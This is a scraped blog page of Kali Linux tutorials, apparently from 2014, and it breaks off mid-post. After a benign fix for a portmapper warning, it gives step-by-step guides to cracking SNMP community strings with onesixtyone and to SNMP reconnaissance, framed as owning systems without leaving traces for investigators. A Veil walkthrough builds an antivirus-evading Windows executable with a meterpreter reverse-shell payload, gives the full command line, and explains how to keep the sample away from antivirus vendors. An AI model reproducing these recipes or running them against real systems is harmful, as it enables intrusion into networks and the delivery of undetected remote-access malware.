April 2014 | 1769

How to fix “not starting portmapper is not running … (warning)” in Debian or Kali Linux?

This is a small guide on How to fix “not starting portmapper is not running … (warning)” in Debian or Kali Linux.<br />

<h3>
Fixing “not starting portmapper is not running … (warning)”:</h3>
In most Kali or Debian installation users see this warning while 
booting their system. There’s two ways to fix this, it is up to the 
readers which one they choose.<br />

<h4>
Solution 1: Disable nfs-common service from startup using chkconfig</h4>
If you look into <code>rpcbind</code> script, it says that it 
replaces portmapper service. In my mind, there must be some dependencies
 somewhere that causes this warning message to appear.<br />

The main two services used by <code>rpcbind</code> are as follows:<br />

<ul>
<li>NFS (Network File System or <code>nfs-common</code>)</li>
<li>NIS (Network Information service)</li>
</ul>
<pre>### BEGIN INIT INFO
# Provides: rpcbind
# Required-Start: $network $local_fs
# Required-Stop: $network $local_fs
# Default-Start: S 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: RPC portmapper replacement
# Description: rpcbind is a server that converts RPC (Remote
# Procedure Call) program numbers into DARPA
# protocol port numbers. It must be running in
# order to make RPC calls. Services that use
# RPC include NFS and NIS.</pre>
Of these two it seems <code>nfs-common</code> causes the most issues, so we are just going to disable that.<br />

If you don’t use NFS functionality right now then you can disable NFS at startup.<br />

First of all install <code>chkconfig</code> application.<br />

<pre>apt-get install chkconfig -y</pre>
Now use the following command to list <code>nfs-common</code> service, it’s runlevel and dependencies.<br />

<pre>chkconfig -l nfs-common --deps</pre>
As you can see from the screenshot below, it’s dependencies are <code>$portmap</code> and <code>$time</code>.<br />

<span style="color: red;"><strong>Note:</strong></span> Use <code>chkconfig -l servicename --deps</code> to find out dependencies for any services. This is particularly useful when you have vague idea on what you’re after.<br />

If you are happy with the findings and want to remove it from startup, issue the following command<br />

<pre>chkconfig --del nfs-common</pre>
From the output, your can see <code>nfs-common</code> is now disabled from run-levels.<br />

In case you’ve found that this is causing more trouble than actually fixing, (i.e. <code>nfs-common</code>
 being used by another service and now you’re getting errors), you can 
revert your change back easily. To revert your changes back, use the 
following command:<br />

<pre>chkconfig --add nfs-common</pre>
Again, from the screenshot below, you can see <code>nfs-common</code> is back in startup with exactly the same run levels as before.<br />

Then reboot. Next time you shouldn’t see that warning anymore.<br />

<br />

A similar problem with Pulse Audio If you also have pulseaudio 
warning during boot time, If you have pulseaudio warning during Kali or 
Debian Linux during boot up  then follow this guide Fixing PulseAudio configured for per-user sessions … (warning) in Kali Linux and Debian.<br />

<br />

<h4>
Solution 2: Enabling rpcbind defaults</h4>
I was notified that this is not the best solution and it enables 
unnecessary services to load at startup and makes your system 
vulnerable. However, if you’re not too worried about that, then go ahead
 … <img alt=":)" class="wp-smiley" src="http://www.blackmoreops.com/wp-includes/images/smilies/icon_smile.gif" />  <del>By
 loading rpcbind defaults and enabling them, you can fix this 
easily. Open up a terminal and type in the following two commands,</del><br />

<pre><del> update-rc.d rpcbind defaults
 update-rc.d rpcbind enable</del></pre>
<a class="grouped_elements" href="http://www.blackmoreops.com/wp-content/uploads/2013/11/Fixing-not-starting-portmapper-is-not-running-...-warning-blacKMORE-Ops.png" rel="tc-fancybox-group397"><img alt="Fixing "not starting portmapper is not running ... (warning)"- blacKMORE Ops" class="alignnone size-full wp-image-404" height="289" src="http://www.blackmoreops.com/wp-content/uploads/2013/11/Fixing-not-starting-portmapper-is-not-running-...-warning-blacKMORE-Ops.png" width="640" /></a><br />

That’s it, Next time you shouldn’t see that warning anymore.<br />

If you also have pulseaudio warning during boot time, Fixing PulseAudio configured for per-user sessions … (warning) in Kali Linux and Debian. <br />

<h3>
Portmap</h3>
The <a href="http://en.wikipedia.org/wiki/Portmap" title="Portmap">portmapper </a>(rpc.portmap or just portmap, or rpcbind) is an <a href="http://en.wikipedia.org/wiki/Open_Network_Computing_Remote_Procedure_Call">Open Network Computing Remote Procedure Call (ONC RPC)</a> service that runs on network nodes that provide other ONC RPC services.<br />

Version 2 of the port mapper protocol maps ONC RPC program 
number/version number pairs to the network port number for that version 
of that program. When an ONC RPC server is started, it will tell the 
port mapper, for each particular program number/version number pair it 
supports for a particular transport protocol (TCP or UDP), what port 
number it is using for that particular program number/version number 
pair on that transport protocol. Clients wishing to make an ONC RPC call
 to a particular version of a particular ONC RPC service must first 
contact the port mapper on the server machine to determine the actual 
TCP or UDP port to use.<br />

Versions 3 and 4 of the protocol, called the rpcbind protocol, map a 
program number/version number pair, and an indicator that specifies a 
transport protocol, to a transport-layer endpoint address for that 
program number/version number pair on that transport protocol.<br />

The port mapper service always uses TCP or UDP port 111; a fixed port
 is required for it, as a client would not be able to get the port 
number for the port mapper service from the port mapper itself.<br />

The port mapper must be started before any other RPC servers are started.<br />

<h3>
Example portmap instance</h3>
This shows the different programs and their versions, and which ports
 they use. For example, it shows that NFS is running, both version 2 and
 3, and can be reached at TCP port 2049 or UDP port 2049, depending on 
what transport protocol the client wants to use, and that the mount 
protocol, both version 1 and 2, is running, and can be reached at UDP 
port 644 or TCP port 645, depending on what transport protocol the 
client wants to use.<br />

<pre>$ rpcinfo -p 
  program vers proto   port
   100000    2   tcp    111  portmapper
   100000    2   udp    111  portmapper
   100003    2   udp   2049  nfs
   100003    3   udp   2049  nfs
   100003    4   udp   2049  nfs
   100003    2   tcp   2049  nfs
   100003    3   tcp   2049  nfs
   100003    4   tcp   2049  nfs
   100024    1   udp  32770  status
   100021    1   udp  32770  nlockmgr
   100021    3   udp  32770  nlockmgr
   100021    4   udp  32770  nlockmgr
   100024    1   tcp  32769  status
   100021    1   tcp  32769  nlockmgr
   100021    3   tcp  32769  nlockmgr
   100021    4   tcp  32769  nlockmgr
   100005    1   udp    644  mountd
   100005    1   tcp    645  mountd
   100005    2   udp    644  mountd
   100005    2   tcp    645  mountd
   100005    3   udp    644  mountd
   100005    3   tcp    645  mountd</pre>
<br />

Thanks for reading.<br />

<br />

<strong>Note</strong>: This surely fixed my problem (I don’t use 
NFS), however, I am interested to know if this fixed your problem as 
well. Let me know, leave a comment. Thanks.</div>

How to fix “not starting portmapper is not running … (warning)” in Debian or Kali Linux?

This is a small guide on How to fix “not starting portmapper is not running … (warning)” in Debian or Kali Linux. Fixing “not star...

Tutorial: Crack Private and Public SNMP Passwords Using Onesixtyone on Kali

<div dir="ltr" style="text-align: left;" trbidi="on">
In a recent tutorial, I showed <a href="http://anonymous1769.blogspot.in/2014/04/how-to-hack-exploit-snmp-for.html" target="_blank">how the SNMP protocol can be a gold mine of information</a>
 for reconnaissance on a potential target. If you haven’t already, I 
strongly suggest that you read it before progressing here, as little of 
this will make much sense without that background.<br />

<h2>
<a href="http://ultimatepeter.com/wp-content/uploads/2014/01/snmp.jpg"><img alt="snmp" class="alignright size-medium wp-image-4040" height="300" src="http://ultimatepeter.com/wp-content/uploads/2014/01/snmp-230x300.jpg" width="230" /></a>Cracking SNMP Passwords with Onesixtyone</h2>
The MIB database, created by SNMP, contains extensive information on 
every device on the network. While SNMPv1 is very insecure and SNMPv3 is
 very secure, many companies still use SNMPv1. As such, the community 
public string (password) that provides access to SNMP and its MIB 
database is susceptible to cracking. Once the hacker has the SNMP 
community public string, they have access to all the info available in 
the SNMP MIB.<br />

Better yet, if we can crack the private community string (password), 
we can change the settings on any network device—even take it off line. 
We could then potentially change the configuration settings on switches 
and routers to our advantage.<br />

In this tutorial, we will be cracking the SNMPv1 community string 
(password) with one of the best SNMP cracking tools, onesixtyone (SNMP 
runs on port 161, hence its name).<br />

<h2>
Step 1: Find Onesixtyone</h2>
<strong>Onesixtyone</strong>—like so many of the best hacking tools—is built into <strong>BackTrack </strong>and<strong> Kali</strong>, so no need to download and install if you’re running BackTrack. We can find onesixtyone by going to <strong>BackTrack -> Information Gathering -> Network Analysis -> SNMP</strong> and then <strong>onesixtyone</strong>, as shown in the screenshot below.<br />

<div style="text-align: center;">
<img alt="" src="http://ultimatepeter.com/wp-content/uploads/2014/01/hack-like-pro-crack-private-public-snmp-passwords-using-onesixtyone.w654.jpg" /></div>
In Kali, you can go to <strong>Applications -> Kali Linux -> Information Gathering -> SNMP Analysis -> onesixtyone</strong><br />

<ins style="background-color: transparent; border: none; display: inline-table; height: 90px; margin: 0; padding: 0; position: relative; visibility: visible; width: 728px;"><ins id="aswift_1_anchor" style="background-color: transparent; border: none; display: block; height: 90px; margin: 0; padding: 0; position: relative; visibility: visible; width: 728px;"></ins></ins>
</div>
<h2>
Step 2: Open Onesixtyone</h2>
When we click on <strong>onesixtyone</strong>, we will be greeted with a screenshot like that below.<br />

<blockquote>
<strong>onesixtyone</strong> (options) <host> <community></blockquote>
Where:<br />

<ul>
<li><strong>host</strong> is the IP address of the system we are targeting</li>
<li><strong>community</strong> is either public or private</li>
</ul>
Like any password-cracking software (that is not using brute-force), 
it’s only as good as its wordlist. Onesixtyone comes with a built-in 
wordlist of commonly used passwords on SNMP, but if your password isn’t 
in the list, you can use any word list you want.<br />

Very often, if a sysadmin changes the SNMP community string, they will change it to something simple like the <strong>companyname-public</strong> or <strong>companyname-privat</strong>e. It’s always worth trying these or similar combinations before attempting a password crack.<br />

<h2>
Step 3: Take It Out for Spin</h2>
Now that we understand the basics of how onesixtyone works, let try it out.<br />

<blockquote>
<strong>./onesixtyone -c dict.txt 192.168.1.119</strong></blockquote>
<div style="text-align: center;">
<img alt="" src="http://ultimatepeter.com/wp-content/uploads/2014/01/hack-like-pro-crack-private-public-snmp-passwords-using-onesixtyone.w6542.jpg" /></div>
Now, all we need to do is hit enter and let onesixtyone do its job!<br />

<div style="text-align: center;">
<img alt="" src="http://ultimatepeter.com/wp-content/uploads/2014/01/hack-like-pro-crack-private-public-snmp-passwords-using-onesixtyone.w6543.jpg" /></div>
When using the built-in wordlist dict.txt, onesixtyone finishes its 
work in short order. Obviously, with longer word lists, this process can
 be more time consuming. To use another word list, simply replace the 
dict.txt with the full path to the file, such as:<br />

<blockquote>
<strong>./onesixtyone -c /root/anotherwordlist 192.168.1119 public</strong></blockquote>
As you can see, onesixtyone was able to find the both the public and 
private community strings. The network administrator left both strings 
at their default values, which is common.<br />

Other possible sources for potential word lists can be found on the web, and some are as big as 5tb!</div>

Tutorial: Crack Private and Public SNMP Passwords Using Onesixtyone on Kali

In a recent tutorial, I showed how the SNMP protocol can be a gold mine of information for reconnaissance on a potential target. If you h...

How To Hack: Exploit SNMP for Reconnaissance

<br />
<img alt="Hugh-Jackman-Swordfish" class="alignright size-medium wp-image-3856" height="200" src="http://ultimatepeter.com/wp-content/uploads/2014/01/Hugh-Jackman-Swordfish-300x200.png" width="300" />The
 more we know about a system or network, the better our chances of 
owning it and not leaving a trace for investigators to follow. One of 
the often overlooked sources for information is the Simple Network 
Management Protocol (SNMP). Many rookie hackers are not even aware of 
it, but it can prove to be a treasure trove of information, if you 
understand how it works and how to hack it.<br />

<h2>
How SNMP Can Help You Access Network Devices</h2>
SNMP runs on UDP (connectionless and efficient) on<strong> port 161</strong>
 and enables a network administrator to gather information on and manage
 network devices. Each networked device responds with information about 
its make, model, etc. when queried by the master.<br />

All this information is then stored in a database called the Master 
Information Base (MIB). If we can access the MIB and know how to read 
and interpret the info, we can then know each and every device on the 
network. If we can crack the password on SNMP, we may be able to control
 each networked device. This would allow us to change configurations, 
take devices offline, etc.<br />

<h2>
The Different Versions of SNMP</h2>
There are at least three versions of SNMP. The first, SNMPv1 or just 
SNMP, was not secure. SNMPv2 was developed to be more secure, but was 
not backwardly compatible to v1. SNMPv3 is secure and backwardly 
compatible, but very often, not implemented.<br />

SNMPv1 has a default community string (similar to a password) for the
 admin of “private” and a default community string for everyone and 
everything else of “public”. The admin password permits the admin to 
change configurations of devices remotely, while the public password 
only allows us to view the info in the MIB. Many times, system admins 
leave these passwords in the default configuration due to lack of 
knowledge or laziness. Before you try any hack on SNMP, make certain you
 try these default passwords first.<br />

Even if the system admin does change the default passwords, they 
often change them to a variation of public/private or something else 
very simple. Generally, these passwords are relatively easy to 
brute-force with a dictionary attack.<br />

<h2>
Exploiting SNMP for Recon</h2>
In this hack, we will look at what info we can harvest from the SNMP 
MIB if the network is using SNMPv1 and we know the community string. In a
 future tutorial, I’ll show you how to break the community string.<br />

<h2>
Step 1: Open BackTrack</h2>
All of the tools we need for this hack are built into BackTrack, so we have no need to download or install any new software.<br />

<h2>
Step 2: Open Snmpenum</h2>
In this hack, we will use a tool called snmpenum. It gathers 
information from the MIB over SNMP for any IP address, if we know the 
community string.<br />

<ins style="background-color: transparent; border: none; display: inline-table; height: 90px; margin: 0; padding: 0; position: relative; visibility: visible; width: 728px;"><ins id="aswift_1_anchor" style="background-color: transparent; border: none; display: block; height: 90px; margin: 0; padding: 0; position: relative; visibility: visible; width: 728px;"></ins></ins>
</div>
To start, go to <strong>BackTrack -> Information Gathering -> Network Analysis -> SNMP</strong>, and finally, <strong>snmpenum</strong>.<br />

<div style="text-align: center;">
<img alt="" src="http://ultimatepeter.com/wp-content/uploads/2014/01/hack-like-pro-exploit-snmp-for-reconnaissance.w654.jpg" /></div>
<h2>
Step 3: Run Snmpenum</h2>
When you click on <strong>snmpenum</strong>, it will open a terminal that will look like this.<br />

<div style="text-align: center;">
<img alt="" src="http://ultimatepeter.com/wp-content/uploads/2014/01/hack-like-pro-exploit-snmp-for-reconnaissance.w6541.jpg" /></div>
Note that the syntax for running snmpenum is fairly straightforward. 
All you need is the IP address, the community string, and the config 
file. If we do a long listing on this directory:<br />

<blockquote>
<strong>ls -l</strong></blockquote>
<div style="text-align: center;">
<img alt="" src="http://ultimatepeter.com/wp-content/uploads/2014/01/hack-like-pro-exploit-snmp-for-reconnaissance.w6542.jpg" /></div>
We can see that there are three text files that are our configuration
 files for snmpenum. We have one for Windows, one for Linux, and one for
 Cisco.<br />

In this case, we will be running snmpenum against a Windows machine 
that still has its default SNMP community string (password) set to 
“public” that is on our internal IP address of <strong>192.168.1.101</strong>. Note that snmpenum is a Perl script, so it ends with .pl. To run it, we must precede it with the “<strong>./</strong>“.<br />

Simply enter this information as follows:<br />

<blockquote>
<strong>./snmpenum.pl 192.168.1.101 public windows.txt</strong></blockquote>
<div style="text-align: center;">
<img alt="" src="http://ultimatepeter.com/wp-content/uploads/2014/01/hack-like-pro-exploit-snmp-for-reconnaissance.w6543.jpg" /></div>
<h2>
Step 4: Make Sense of It All</h2>
When we run snmpenum, it gathers all the information in the MIB 
database on the target machine and displays it on the screen. The amount
 of information covers several screens, but it will return users, 
installed software (see below), hostname, OS, uptime, services, open TCP
 ports, open UDP ports, and more!<br />

<div style="text-align: center;">
<img alt="" src="http://ultimatepeter.com/wp-content/uploads/2014/01/hack-like-pro-exploit-snmp-for-reconnaissance.w6544.jpg" /></div>
Here we see the listening ports:<br />

<div style="text-align: center;">
<img alt="" src="http://ultimatepeter.com/wp-content/uploads/2014/01/hack-like-pro-exploit-snmp-for-reconnaissance.w6545.jpg" /></div>
Here we can see all the running services:<br />

Now that we have gathered all this information on the system, we can 
better develop a strategy for exploiting it. We simply need to then find
 the known vulnerabilities for that OS, those services, those ports, 
etc.<br />

In addition, with the uptime, we can gauge when the system was last 
patched. If the the uptime is say, three months, we know that the system
 is vulnerable to any new vulnerabilities discovered in the last three 
months as a patch would require a reboot of the system.</div>

How To Hack: Exploit SNMP for Reconnaissance

The more we know about a system or network, the better our chances of owning it and not leaving a trace for investigators to follow. O...

How to Hack: Bypassing Antivirus using Veil on Kali Linux

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://ultimatepeter.com/wp-content/uploads/2013/10/images1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="images" border="0" class="alignright size-full wp-image-3383" height="300" src="http://ultimatepeter.com/wp-content/uploads/2013/10/images1.jpg" width="400" /></a></div>
<br />
<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<strong>Veil</strong>
 is an awesome tool developed by Chris Truncer @ChrisTruncer, Mike 
Wright @TheMightyShiv and The Grayhound @the_grayhound specifically 
designed for <strong>Kali Linux</strong> with the goal of: 
</div>
<br />
<ul>
<li>Bypass common AV solutions used.</li>
<li>Get the payloads from Metasploit framework, and get the new ones in the future Metasploit releases.</li>
<li>Try to create each payload as random as possible.</li>
</ul>
<br />
<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<br /></div>
<br />
<br />I want to talk about Veil and give some examples about how to bypass several anti-virus.<br />

The main changes in the latest versions are:<br />

<ul>
<li><strong>x64 compatibility</strong> – They have updated their setup script in order to make Veil compatible with both x86 and x64 versions.</li>
<li><strong>Update Feature</strong> – Now Veil has an update function. Now we can update Veil either the command line or menu.</li>
</ul>
If you want to install Veil in your whatever environment you prefer, you can use the commands below:<br />

<blockquote>
<strong>wget https://github.com/ChrisTruncer/Veil/archive/master.zip</strong><br />

<strong>unzip master.zip</strong><br />

<strong>cd Veil-master/setup</strong><br />

<strong>./setup.sh</strong></blockquote>
If you want to work with <strong>Kali Linux</strong>, with the commands below it will be enough.<br />

<blockquote>
<strong>apt-get update</strong><br />

<strong>apt-get install veil </strong></blockquote>
I had a  bad experience with the second option and I prefer to install Veil with the first one using “setup.sh” script.<br />

<strong>The Veil’s developers don’t want to submit any payload to www.virustotal.com to avoid distribution to the anti-virus vendors</strong>. There is an alternative: <strong>vscan.novirusthanks.org</strong>. That site scans the suspicious files for malware detection and offers us the option: “Do not distribute the sample”.<br />

When Veil has been installed, just run it with the command below:<br />

<blockquote>
<strong>./Veil</strong></blockquote>
By default in Kali Linux, we can see 18 payloads ready to be used. Now we can type “use”.<br />

<div style="text-align: center;">
<img alt="" src="http://ultimatepeter.com/wp-content/uploads/2013/10/Veil1.png" /></div>
Here, Veil offers us more information about the payloads. In this case I chose python/b64VirtualAlloc typing “<strong>18</strong>”<br />

<div style="text-align: center;">
<img alt="" src="http://ultimatepeter.com/wp-content/uploads/2013/10/Veil2.png" /></div>
When our payload is loaded, type “<strong>generate</strong>“. You can set some specifics options, but in this post, we are going to try the default options.<br />

<ins style="background-color: transparent; border: none; display: inline-table; height: 90px; margin: 0; padding: 0; position: relative; visibility: visible; width: 728px;"><ins id="aswift_1_anchor" style="background-color: transparent; border: none; display: block; height: 90px; margin: 0; padding: 0; position: relative; visibility: visible; width: 728px;"></ins></ins>
</div>
<div style="text-align: center;">
<img alt="" src="http://ultimatepeter.com/wp-content/uploads/2013/10/Veil3.png" /></div>
Now we are going to select msfvenom by typing “<strong>1</strong>”<br />

<div style="text-align: center;">
<img alt="" src="http://ultimatepeter.com/wp-content/uploads/2013/10/Veil4.png" /></div>
After that, we need to type some details:<br />

<ul>
<li>Enter metasploit payload: “<strong>windows/meterpreter/reverse_tcp</strong>“</li>
<li>Enter value for ‘LHOST’, [<strong>tab</strong>] for local IP: “192.168.69.69″</li>
<li>Enter value for ‘LPORT’: “<strong>443</strong>“</li>
</ul>
Then it’s necessary to wait while the shellcode is been generated.<br />

<div style="text-align: center;">
<img alt="" src="http://ultimatepeter.com/wp-content/uploads/2013/10/veil_15.png" /></div>
You need to press enter and then Veil requests the name of our payload. In this case “<strong>undetectable</strong>” (or whatever you want)<br />

<div style="text-align: center;">
<img alt="" src="http://ultimatepeter.com/wp-content/uploads/2013/10/Veil6.png" /></div>
We are going to use Pyinstaller. It will create a .exe installable. For this, we are going to type “<strong>1</strong>”<br />

<div style="text-align: center;">
<img alt="" src="http://ultimatepeter.com/wp-content/uploads/2013/10/Veil7.png" /></div>
In the end, we can get our executable at “<em>/root/Veil-master/output/compiled/</em>”<br />

<div style="text-align: center;">
<img alt="" src="http://ultimatepeter.com/wp-content/uploads/2013/10/Veil8.png" /></div>
Now, we have our executable and we are going to submit it to <strong>vscan.novirusthanks.org</strong>. Please, remember to check “<strong>Do not distribute the sample</strong>“. If you choose to don’t check this options or you decide to submit the executable to <strong>www.virustotal.com</strong> your file will be investigated and maybe it will be recognized by some anti-virus vendors.<br />

<div style="text-align: center;">
<img alt="" class="aligncenter" height="91" src="http://ultimatepeter.com/wp-content/uploads/2013/10/Veil10.png" style="border: 1px solid black;" width="400" /></div>
You can see in the picture below any of the anti-virus vendors have 
detected our file as malicious. We have got a rate detection of 0%!!!!<br />

<div style="text-align: center;">
<img alt="" class="aligncenter" height="203" src="http://ultimatepeter.com/wp-content/uploads/2013/10/Veil11.png" style="border: 1px solid black;" width="400" /></div>
If you prefer to use the CLI instead of a menu, you can generate the same payload we have just created with the command below.<br />

<blockquote>
<strong>./Veil.py -l python -p b64VirtualAlloc -o 
undetectable –msfpayload windows/meterpreter/reverse_tcp –msfoptions 
LHOST=192.168.69.69 LPORT=443</strong></blockquote>
</div>

How to Hack: Bypassing Antivirus using Veil on Kali Linux

Veil is an awesome tool developed by Chris Truncer @ChrisTruncer, Mike Wright @TheMightyShiv and The Grayhound @the_grayhound specif...

Install Kali Linux on Android Phone or Tablet

<div dir="ltr" style="text-align: left;" trbidi="on">
Tablet <a href="http://www.kali.org/wp-content/uploads/2013/09/linux-deploy-kali-list-00.png" rel="dofollow"><img alt="linux-deploy-kali-list-00" class="alignright size-medium wp-image-686" src="http://www.kali.org/wp-content/uploads/2013/09/linux-deploy-kali-list-00-576x1024.png" width="282" /></a><br />
 <div style="text-align: justify;">
Getting Kali Linux to run on ARM hardware has been a major goal for us since day one. So far, we’ve built <strong>native</strong>
 images for the Samsung Chromebook, Odroid U2, Raspberry Pi, RK3306, 
Galaxy Note 10.1, CuBox, Efika MX, and BeagleBone Black to name a few. 
This however does not mean you cannot install Kali Linux in a chroot on 
almost any modern device that runs Android. In fact, the developers of <a href="https://play.google.com/store/apps/details?id=ru.meefik.linuxdeploy&hl=en" rel="nofollow" target="_blank" title="Linux Deploy">Linux Deploy</a>
 have made it extremely easy to get any number of Linux distributions 
installed in a chroot environment using a simple GUI builder.</div>
<h5>
Prerequisites</h5>
<ul class="fancy_list">
<li class="arrow_list red_sprite">A device running Android 2.1 and above, rooted.</li>
<li class="arrow_list red_sprite">At least 5 GB free space on internal or external storage.</li>
<li class="arrow_list red_sprite">A fast, wireless internet connection.</li>
<li class="arrow_list red_sprite">Patience to wait for a distribution to bootstrap from the network.</li>
</ul>
<h5>
Configuring Linux Deploy for Kali</h5>
<div style="text-align: justify;">
There’s actually very little to be done to get Kali installed. By choosing <strong>Kali Linux</strong> in the “<strong>Distribution</strong>”
 tab, you’ve pretty much covered the important stuff. Optionally, you 
can choose your architecture, verify that the Kali mirror is correct, 
set your installation type and location on your Android device, etc. 
Generally speaking, the defaults provided by Linux Deploy are good to 
begin with.</div>
<h5>
Building the Kali Image</h5>
<a href="http://www.kali.org/wp-content/uploads/2013/09/install-kali-linux-deploy.png" rel="dofollow"><img alt="install-kali-linux-deploy" class="alignright size-medium wp-image-690" src="http://www.kali.org/wp-content/uploads/2013/09/install-kali-linux-deploy-300x119.png" width="282" /></a><br />
 <div style="text-align: justify;">
Once
 you are happy with all the settings, hitting the “install” button will 
start a Kali Linux bootstrap directly from our repositories. Depending 
on your Internet connection speed, this process could take a while. 
You’ll be downloading a base install of Kali Linux (with no tools) at 
minimum.</div>
<h5>
Starting up your chrooted Kali</h5>
<div style="text-align: justify;">
Once
 the installation is complete, you can have Linux Deploy automatically 
mount and load up your Kali Linux chroot image. This also includes the 
starting of services such as SSH and VNC for easier remote access. All 
of this is automagically done by hitting the “<strong>start</strong>” button. You should see Linux Deploy setting up your image with output similar to the following:</div>
<a href="http://www.kali.org/wp-content/uploads/2013/09/linux-deploy-mount.png" rel="dofollow"><img alt="linux-deploy-mount" class="alignleft size-large wp-image-691" src="http://www.kali.org/wp-content/uploads/2013/09/linux-deploy-mount-1024x847.png" width="700" /></a><br />
 <div style="text-align: justify;">
At
 this stage, Linux Deploy has started a VNC and SSH server inside your 
chrooted Kali image. You can connect to the Kali session remotely using 
the IP address assigned to your Android device (in my case, 10.0.0.10).</div>
<h5>
Logging in to your chrooted Kali</h5>
<div style="text-align: justify;">
Now you can use either a SSH or VNC client to access your Kali instance. The VNC password is “<strong>changeme</strong>” and the SSH credentials are “<strong>android</strong>” for the username (configured via Linux Deploy) and “<strong>changeme</strong>” as the password.</div>
<div class="codecolorer-container bash default" style="height: 300px; overflow: auto; white-space: nowrap; width: 690px;">
<div class="bash codecolorer">
<span class="co4">muts@slim:~$ </span><span class="kw2">ssh</span> android<span class="sy0">@</span>10.0.0.10<br />
android<span class="sy0">@</span>10.0.0.10 password: <br />
Linux localhost 3.4.5-<span class="nu0">447845</span> <span class="co0">#1 SMP PREEMPT Fri Apr 12 17:22:34 KST 2013 armv7l</span><br />
Kali GNU<span class="sy0">/</span>Linux <span class="nu0">1.0</span> <span class="br0">[</span>running on Android via Linux Deploy<span class="br0">]</span><br />
<span class="co4">android@localhost:~$ </span><span class="kw2">sudo</span> <span class="kw2">su</span><br />
root<span class="sy0">@</span>localhost:<span class="sy0">/</span>home<span class="sy0">/</span>android<span class="co0"># df</span><br />
Filesystem     1K-blocks   Used Available Use<span class="sy0">%</span> Mounted on<br />
<span class="sy0">/</span>dev<span class="sy0">/</span>loop3       <span class="nu0">4180944</span> <span class="nu0">667268</span>   <span class="nu0">3304012</span>  <span class="nu0">17</span><span class="sy0">%</span> <span class="sy0">/</span><br />
tmpfs             <span class="nu0">952708</span>     <span class="nu0">80</span>    <span class="nu0">952628</span>   <span class="nu0">1</span><span class="sy0">%</span> <span class="sy0">/</span>dev<br />
tmpfs             <span class="nu0">952708</span>      <span class="nu0">0</span>    <span class="nu0">952708</span>   <span class="nu0">0</span><span class="sy0">%</span> <span class="sy0">/</span>dev<span class="sy0">/</span>shm<br />
root<span class="sy0">@</span>localhost:<span class="sy0">/</span>home<span class="sy0">/</span>android<span class="co0">#</span><br />
root<span class="sy0">@</span>localhost:<span class="sy0">/</span>home<span class="sy0">/</span>android<span class="co0"># apt-get update</span><br />
Hit http:<span class="sy0">//</span>http.kali.org kali Release.gpg<br />
Hit http:<span class="sy0">//</span>http.kali.org kali Release<br />
Hit http:<span class="sy0">//</span>http.kali.org kali<span class="sy0">/</span>main Sources     <br />
Hit http:<span class="sy0">//</span>http.kali.org kali<span class="sy0">/</span>contrib Sources <br />
Hit http:<span class="sy0">//</span>http.kali.org kali<span class="sy0">/</span>non-free Sources <br />
Hit http:<span class="sy0">//</span>http.kali.org kali<span class="sy0">/</span>main armel Packages<br />
Hit http:<span class="sy0">//</span>http.kali.org kali<span class="sy0">/</span>contrib armel Packages<br />
Hit http:<span class="sy0">//</span>http.kali.org kali<span class="sy0">/</span>non-free armel Packages<br />
Ign http:<span class="sy0">//</span>http.kali.org kali<span class="sy0">/</span>contrib Translation-en_US<br />
Ign http:<span class="sy0">//</span>http.kali.org kali<span class="sy0">/</span>contrib Translation-en<br />
Ign http:<span class="sy0">//</span>http.kali.org kali<span class="sy0">/</span>main Translation-en_US<br />
Ign http:<span class="sy0">//</span>http.kali.org kali<span class="sy0">/</span>main Translation-en<br />
Ign http:<span class="sy0">//</span>http.kali.org kali<span class="sy0">/</span>non-free Translation-en_US<br />
Ign http:<span class="sy0">//</span>http.kali.org kali<span class="sy0">/</span>non-free Translation-en<br />
Reading package lists... Done<br />
root<span class="sy0">@</span>localhost:<span class="sy0">/</span>home<span class="sy0">/</span>android<span class="co0">#</span></div>
</div>
<h5>
Image Size Considerations</h5>
<div style="text-align: justify;">
If
 left unchanged, Linux Deploy will automatically set an image size of 
around 4 GB, for a “naked” installation of Kali. If you would like to 
install additional Kali tools down the road, you might want to consider 
using a larger image size, which is configurable via the settings in 
Linux Deploy.</div>
<h5>
Local VNC Connections</h5>
<div style="text-align: justify;">
We
 had to try a couple of VNC clients to get one to work properly. 
Although controlling Kali through a local VNC client isn’t the most 
convenient of tasks, it certainly is possible. However, we suspect that 
most people will be SSH’ing into this instance. The picture below was 
overlayed with a Kali Linux desktop screenshot taken from a Galaxy S4.</div>
<a href="http://www.kali.org/wp-content/uploads/2013/09/galaxy-s4-kali-linux.jpg" rel="dofollow"><img alt="galaxy-s4-kali-linux" class="alignleft size-large wp-image-692" src="http://www.kali.org/wp-content/uploads/2013/09/galaxy-s4-kali-linux-1024x682.jpg" width="700" /></a><br />
 <div style="text-align: justify;">
<br /></div>
</div>

Install Kali Linux on Android Phone or Tablet

Tablet Getting Kali Linux to run on ARM hardware has been a major goal for us since day one. So far, we’ve built native images for the...

How to reset Windows password with Kali Linux

<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
Download <a href="http://www.kali.org/downloads/" target="_blank">Kali Linux</a> and burn the ISO to a CD/DVD. Boot Windows machine with the <b><span style="color: orange;">LiveCD</span></b>. On the boot menu of Kali Linux, select <b><span style="color: orange;">Live (forensic mode)</span></b>.
 Kali Linux initialize and when it loads, it will open a terminal window
 and navigate to the Windows password database file. Almost all versions
 of windows password is saved in <b><span style="color: orange;">SAM </span></b>file. This file is usually located under <b><span style="color: orange;">/Windows/System32/config</span></b>. On your system it may look something like this: <span style="color: orange;"><b>/media/hda1</b></span><b><span style="color: orange;">/Windows/System32/config</span>. </b>Below is the screenshot.</div>
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="65" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNka1_YS683SdlnkuOgyFN707iQKoEdwWMZup5pEszLccmyL1eB26y_dSq5rXWgQ35j5ST3Cbl7J4voAirLnxvYAkS8GE6wMdzPE0BUMcK-8W-FR2Vs_zJJ_q-OwEv1pGxYGxg6Io0CNaZ/s640/1.jpg" width="640" /></div>
<div style="text-align: justify;">
<div style="text-align: left;">
The <span style="color: orange;">SAM </span>database is usually in the <span style="color: orange;">/media/name_of_hard_drive/Windows/System32/config</span></div>
</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<div style="text-align: left;">
